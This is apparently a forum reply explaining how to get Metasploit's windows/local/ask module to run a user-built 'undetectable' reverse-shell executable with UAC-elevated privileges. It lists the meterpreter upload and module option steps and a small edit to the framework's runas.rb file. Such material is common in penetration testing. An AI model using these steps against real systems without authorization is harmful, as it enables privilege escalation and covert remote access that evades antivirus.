Ran into the same issue when reproducing.
UPDATE:
When using the windows/local/ask exploit, it seems you do not need to set a payload with it. In the windows/local/ask exploit you can set a reference to the undetectabletrojan.exe, which will then be executed with elevated privileges through UAC. The exact steps are:
- Generate an undetectable reverse shell exe (let's call it undetectabletrojan.exe)
- Get a meterpreter session with no privileges
- Upload undectabletrojan.exe via the non-privileged session (e.g. to c:\tmp)
- Background this unprivileged session and set up a new exploit (
windows/local/ask) - Set the following options of the
windows/local/askexploit:- set filename undectabletrojan.exe
- set path c:\tmp
- exploit
- You will have a second session, privileged.
The fix is to modify /usr/share/metasploit-framework/lib/msf/core/post/windows/runas.rb
.
At line 23 it mentions
print_status("Uploading #{payload_filename} - #{exe_payload.length} bytes to the filesystem...")Modify this to:
print_status("Uploading #{payload_filename}...")Save
Exit msfconsole
Make sure to run 'reload-all' after restarting msfconsole
Then it worked for me, although I had to restart msfconsole a couple of times before the change came through. Let me know what it says.
